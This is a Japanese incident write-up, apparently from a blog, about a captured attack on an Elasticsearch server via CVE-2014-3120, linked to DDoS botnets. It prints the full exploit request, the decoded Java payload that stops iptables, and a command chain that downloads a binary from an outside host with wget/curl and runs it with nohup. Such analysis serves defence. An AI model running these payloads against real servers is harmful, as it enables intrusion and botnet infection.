tcp/9200に次のようなリクエストが来ていた。
GET /_search?source=%7B%22query%22%3A+%7B%22filtered%22%3A+%7B%22query%22%3A+%7B%22match_all%22%3A+%7B%7D%7D%7D%7D%2C+%22script_fields%22%3A+%7B%22exp%22%3A+%7B%22script%22%3A+%22import+java.util.%2A%3Bimport+java.io.%2A%3BString+str+%3D+%5C%22%5C%22%3BBufferedReader+br+%3D+new+BufferedReader%28new+InputStreamReader%28Runtime.getRuntime%28%29.exec%28%5C%22service+iptables+stop%5C%22%29.getInputStream%28%29%29%29%3BStringBuilder+sb+%3D+new+StringBuilder%28%29%3Bwhile%28%28str%3Dbr.readLine%28%29%29%21%3Dnull%29%7Bsb.append%28str%29%3Bsb.append%28%5C%22%5Cr%5Cn%5C%22%29%3B%7Dsb.toString%28%29%3B%22%7D%7D%2C+%22size%22%3A+1%7D HTTP/1.1 Host: XXX.XXX.XXX.XXX:9200 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.4.1 CPython/2.7.8 Windows/2003Server
パス部分をデコードした結果。
/_search?source={"query":+{"filtered":+{"query":+{"match_all":+{}}}},+"script_fields":+{"exp":+{"script":+"import+java.util.*;import+java.io.*;String+str+=+\"\";BufferedReader+br+=+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec(\"service+iptables+stop\").getInputStream()));StringBuilder+sb+=+new+StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}},+"size":+1}
Javaコードを整形した結果。
import java.util.*; import java.io.*; String str = ""; BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("service iptables stop").getInputStream())); StringBuilder sb = new StringBuilder(); while ((str = br.readLine()) != null) { sb.append(str); sb.append("\r\n"); } sb.toString();
iptablesを止めようとしているようである。
ここから先の攻撃は捕捉できなかった。
IptabLex DDoS Botと関連があるかもしれない。
追記(2014-12-20)
どうやら同じ脆弱性を複数回使うことで攻撃してくるようだ。 微妙にコマンドが違ったりするが、だいたい次のような流れでリクエストが来る。
service iptables stop rm /tmp/* wget -O /tmp/XXXX http://YYY.YYY.YYY.YYY:ZZZZ/XXXX curl -o /tmp/XXXX su root chmod 777 /tmp/XXXX nohup /tmp/XXXX > /dev/null 2>&1 /tmp/XXXX ./tmp/XXXX
調査時点でダウンロード可能だったファイルについて、VirusTotalで調べた結果は次の通り。
- Antivirus scan for 2ea72df0fa1f21923151a9022f072be4d79ca03b1e5385dfdbabf621893af5df at 2014-12-14 16:50:23 UTC - VirusTotal
- Antivirus scan for 2758c0d3981f69a0bd4a8fb50a9db0cd1553b454b74cf53a6d7d8495f986b9c2 at 2014-12-08 22:43:38 UTC - VirusTotal
関連リンク
- Vulnerability Summary for CVE-2014-3120
- Insecure default in Elasticsearch enables remote code execution
- CVE-2014-3120 ElasticSearch Dynamic Script Arbitrary Java Execution | Rapid7
- Chinese Chicken: Multiplatform DDoS Botnets | Botconf 2014
- Malware Must Die!: MMD-0021-2014 - China's ELF (D)DoS + backdoor malware